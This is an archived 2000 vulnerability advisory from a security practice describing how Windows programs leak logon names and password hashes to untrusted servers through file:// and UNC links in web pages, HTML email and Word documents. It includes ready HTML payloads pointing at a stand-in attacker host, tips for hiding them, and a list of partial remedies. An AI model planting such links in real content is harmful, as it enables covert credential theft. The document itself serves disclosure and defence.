Title: Network File Resource Vulnerability Author: Eric Hacker Organization: Lucent Technologies NetworkCare, Security Practice Date: 3/10/00 Software: IE, Netscape, Outlook, Eudora, Microsoft Word, others. Platform: Windows (All versions). Risk: Remote access to users logon credentials. In most scenarios passwords will be encrypted, but crackable. Status: Vendors notified, workarounds available, but do not provide complete protection for all environments. Summary: Programs running on default configurations of Windows can easily be duped into sending a user’s logon name, domain or system name, and plain-text or encrypted password hash to non-trusted servers over the Internet. This can occur by merely viewing a web page, email, or certain Office documents. The attack can be executed such that the user is unaware that anything unusual has happened. Macros or scripting are not required to make this work. Partial solutions are available, but will not protect all users or enterprises. Note: This vulnerability is not an entirely new discovery. A variation of this attack using only IE had been discussed as far back as 97 on the BugTraq and NTBugTraq lists. I have found it briefly mentioned in a book. The new issues are that: · The file:// tag as well as UNC \\ pathnames can be used. · This attack can easily be sent via email. · Windows 2000 is vulnerable to this type of attack. · There is not any way to configure this functionality or turn it off. Vulnerable Operating Systems tested: · Windows 95,98 (W9x) · Windows NT4, SP6a (NT4) · Windows 2000, RTM (W2K) Vulnerable software tested. · Internet Explorer (IE) 5, 4 · Netscape Navigator 4.0 · Outlook 2000, 98 · Outlook Express 98, 5 · Eudora 4 · Microsoft Word 97 Assume many others. Not all software was tested on all platforms. Basic Description: This attack relies on the file:// URL or sometimes the UNC \\ pathname to point to a resource such as a graphic. Windows systems with NetBIOS over IP enabled and running a Microsoft Client will retrieve the resource by attempting to log in to the server providing the resource. Thus if a link was file://untrusted.net/share/pixel.gif, one's system will try to log on to untrusted.net using the current logon credentials and retrieve the file. This will give the untrusted.net server: · The username currently logged on. · The machine or domain name the user authenticated to. · The encrypted LANMAN and NTLM hashes, or if W95 possibly the plain-text password (See below). This attack can be delivered by: · A web page, as an embedded link to a graphic or other resource on a page visited from a browser. · An HTML formatted email, as an embedded link to a graphic or other resource. · In a Microsoft Word document, as an embedded link to a picture. · When the W2K Windows Explorer preview pane displays an HTML file. · Possibly many other ways. Happy hunting. Detailed Web Based: The first attack is to hide a file:// or UNC link to an embedded resource within a web page. This is extremely easy to do. The weakness is that a user has to visit the web page in order for the attack to take place. HTML code would look something like this: <IMG SRC="file://dns.name.or.ip.here/share/file.gif"> This may result in broken graphics displayed if the file is not retrieved. The preferred method of hiding the request is to use the background attribute of the body tag. This will not display errors if the file is not retrieved. <BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff> If pixel.gif is a 1x1 white image, the user will not notice if it is displayed or not. Unless one views the source one would have no idea the file is even there. If the file is not available, one may notice that it seems to take a while for the page to complete loading even though all text is visible. Another way to prevent any errors from appearing is to set up the guest account with no password to allow anonymous access to the server. Windows will always try the cached credentials first. When the cached credentials fail, a server will silently allow anonymous access and deliver the file. IE will also take the UNC path format \\untrusted.net\share\pixel.gif. Netscape (4.05) will not use this format. My research indicates that this was the original problem reported in 1997 with IE 3.0, but I could be wrong as the authors were not entirely clear. Detailed Mail based: Since most major mail programs on Windows support HTLM email using either the Netscape or IE engine for display, this same attack can be delivered by email. An HTML message with the following: <BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff NOSEND="1"> will activate the attack when the user opens or previews the message. I believe the NOSEND attribute will keep Outlook from embedding the file in the email message. This will ensure that the link is forwarded if the mail is clever enough to get the initial recipient to forward it. Obviously the mail based version has the benefit of being directed at targets. This has been successfully used in field testing. Detailed Document based. Links can also be placed in Microsoft Word documents. To do this, open a word document. Choose Insert:Picture:From File. In the dialog box type the UNC path for the file name. Check "Link to File" and uncheck "Save with Document". Word does not accept the file:// URL. This linking does not require any macros to run. If a small white graphic is used the viewer will have no idea it is in the document. Excel does not allow picture embedding in the same way. I assume other Office programs may be vulnerable; I did not do further testing. Windows 95 downgrading LANMAN authentication. According to Microsoft TechNet Bulletin Q165403, Windows 95 versions up to and including OEM SR 2.1 can be tricked into downgrading authentication to plaintext passwords. There is an update for W95 available; see http://support.microsoft.com/support/kb/articles/Q165/4/03.ASP for details. Without that patch these systems are extremely vulnerable. Enterprises running W95 should verify their configurations. W98, NT4 sp3 or later and W2K are not vulnerable to plaintext downgrading. I mention this because I have encountered a number of these systems in the field. Remedies that provide some protection: · Block all outgoing NetBIOS traffic at the firewalls. · Disable NetBIOS on unneeded interfaces. · Upgrade to or force NTLMv2 authentication for all clients. · Use strong passwords and use passfilt.dll to require strong passwords within a domain. Remedy details: Upgrade to or force NTLMv2 authentication for all clients. This will not keep your username and server name from going out over the wire if the untrusted system also supports NTLMv2. It will make your password more difficult to crack, but it is still susceptible to dictionary/brute force attacks. NTLMv2 raises the bar, but does not completely protect you. For NT4 and W2K see http://support.microsoft.com/support/kb/articles/Q147/7/06.asp for the details. W9x clients can now also use NTLMv2 authentication. See http://support.microsoft.com/support/kb/articles/Q239/8/69.ASP for the details. Block all outgoing NetBIOS traffic at the firewalls. This will not protect you from those inside your network, but it will stop outsiders from getting any information. Everyone worries about inbound traffic, but many places don not consider outbound. Block TCP ports 138 and 139 for NetBIOS. Disable NetBIOS on unneeded interfaces. This will protect some people some of the time. Most of the time there is no reason to allow NetBIOS over dial-up connections. This will protect the person with the corporate laptop when they are home and dialing up to the Internet. One assumes the firewall protects them in the office. Use strong passwords and use passfilt.dll to require strong passwords within a domain. Strong passwords that do not include common words but do contain punctuation, upper and lowercase letters and numerals are extremely hard to crack. All passwords should be the full 14 available characters on Windows. Domain administrators can use passfilt.dll to apply a filter that requires users to use stronger passwords. For details on passfilt.dll see http://support.microsoft.com/support/kb/articles/Q169/9/90.ASP The restrictions in passfilt.dll are not strong enough to ensure that users will not dumb down their passwords. This happens when they just append special characters to the ends of common words. These passwords are only minimally harder to crack than dictionary words. Anecdotal evidence shows this pattern is very common. Managers requiring a higher level of password sophistication must write their own passfilt.dll or wait for Microsoft to release a new one. Instructions for writing your own are at http://support.microsoft.com/support/kb/articles/Q151/0/82.ASP Things that do not help: · Disable caching of logon information. Only applies between reboots. · Security settings in IE do not provide a way to stop this. The authentication settings only apply to http:// authentication. · No macros or scripts are required; turning them off does not stop this. · Outlook cannot be configured to not display HTML emails. Commentary These remedies are Microsoft's recommended solution to this problem. In my initial discussions with Microsoft I offered these solutions and tried to demonstrate that they were not adequate. I was not successful. I do not think these solutions are strong enough. This is what I asked for: There should be a registry key setting and Control Panel access that disables the caching of logon credentials as soon as they have been used to authenticate. Thus if I log into a domain, then log into a non-member WorkGroup server, it will not send my domain username and password to the non-member WorkGroup server automatically without my consent. Ideally, it shouldn't even have them hidden in memory somewhere to send. This will not only prevent the current exploits of file:// and UNC \\ links, but future unknown attacks. It will also keep trojans/virii from being able to exploit this overall weakness. Microsoft has stated to me that their solution is a tradeoff between ultimate security and system usability. I believe that the choice should be available to network administrators to control the reuse of user credentials. If others agree that this is a sensible solution to this problem and want that choice, they should make Microsoft aware of their opinion. Eric Hacker, MCSE, CCSE Network Systems Engineer, Security Practice Lucent NetCare Professional Services One New England Executive Park Burlington, MA 01803 mailto:ehackerat_private "Long gone are the days when one's surname referred to the role one had in the community."
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:39:29 PDT
